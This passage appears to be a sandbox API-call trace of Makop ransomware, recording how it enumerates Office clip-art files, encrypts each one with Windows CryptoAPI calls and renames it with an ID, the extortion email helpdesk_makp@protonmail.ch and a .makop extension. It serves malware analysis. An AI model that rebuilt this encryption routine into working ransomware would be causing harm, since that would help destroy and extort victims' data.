Office\\CLIPART\\PUB60COR\\J0099179.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.512] CloseHandle (hObject=0xf0) returned 1 [0117.512] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099180.WMF", cAlternateFileName="")) returned 1 [0117.512] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0117.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.513] GetProcessHeap () returned 0x48a0000 [0117.513] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.513] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.513] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.513] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0117.517] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.517] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.517] GetProcessHeap () returned 0x48a0000 [0117.517] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.518] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.518] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.518] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.518] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.518] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.518] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.518] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.519] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.519] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.519] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.519] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd42, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd42, lpOverlapped=0x0) returned 1 [0117.519] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd50, dwBufLen=0xd50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd50) returned 1 [0117.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.520] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd50, lpOverlapped=0x0) returned 1 [0117.520] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.520] SetEndOfFile (hFile=0xf0) returned 1 [0117.527] GetProcessHeap () returned 0x48a0000 [0117.527] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.527] GetProcessHeap () returned 0x48a0000 [0117.527] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.527] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.528] CloseHandle (hObject=0xf0) returned 1 [0117.528] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099181.WMF", cAlternateFileName="")) returned 1 [0117.529] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0117.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.529] GetProcessHeap () returned 0x48a0000 [0117.529] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.529] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.530] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0117.534] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.534] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.534] GetProcessHeap () returned 0x48a0000 [0117.534] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.534] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.535] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.535] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.535] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.535] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.535] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.535] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.535] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.536] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.536] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.536] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4ae, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4ae, lpOverlapped=0x0) returned 1 [0117.536] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b0, dwBufLen=0x4b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b0) returned 1 [0117.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.536] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4b0, lpOverlapped=0x0) returned 1 [0117.536] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.537] SetEndOfFile (hFile=0xf0) returned 1 [0117.544] GetProcessHeap () returned 0x48a0000 [0117.544] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.544] GetProcessHeap () returned 0x48a0000 [0117.544] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.544] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.544] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.545] CloseHandle (hObject=0xf0) returned 1 [0117.546] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099182.WMF", cAlternateFileName="")) returned 1 [0117.546] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0117.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.546] GetProcessHeap () returned 0x48a0000 [0117.546] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.547] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.547] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.547] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.547] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.547] GetProcessHeap () returned 0x48a0000 [0117.547] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.547] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.547] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.547] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.552] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.552] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.552] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.552] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.552] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.552] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.553] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.553] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.553] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf00, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf00, lpOverlapped=0x0) returned 1 [0117.553] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00, dwBufLen=0xf00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00) returned 1 [0117.553] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.553] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf00, lpOverlapped=0x0) returned 1 [0117.553] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.553] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.553] SetEndOfFile (hFile=0xf0) returned 1 [0117.583] GetProcessHeap () returned 0x48a0000 [0117.583] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.583] GetProcessHeap () returned 0x48a0000 [0117.583] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.583] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.583] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.584] CloseHandle (hObject=0xf0) returned 1 [0117.585] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1352, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099183.WMF", cAlternateFileName="")) returned 1 [0117.585] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0117.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.587] GetProcessHeap () returned 0x48a0000 [0117.587] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.587] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.587] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.587] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0117.592] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.592] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.592] GetProcessHeap () returned 0x48a0000 [0117.592] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.592] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.592] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.592] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.592] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.592] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.592] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.593] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.593] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.593] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.593] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.593] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.593] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1352, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1352, lpOverlapped=0x0) returned 1 [0117.595] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1360, dwBufLen=0x1360 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1360) returned 1 [0117.595] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.595] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1360, lpOverlapped=0x0) returned 1 [0117.595] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.595] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.595] SetEndOfFile (hFile=0xf0) returned 1 [0117.602] GetProcessHeap () returned 0x48a0000 [0117.602] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.602] GetProcessHeap () returned 0x48a0000 [0117.602] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.602] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | 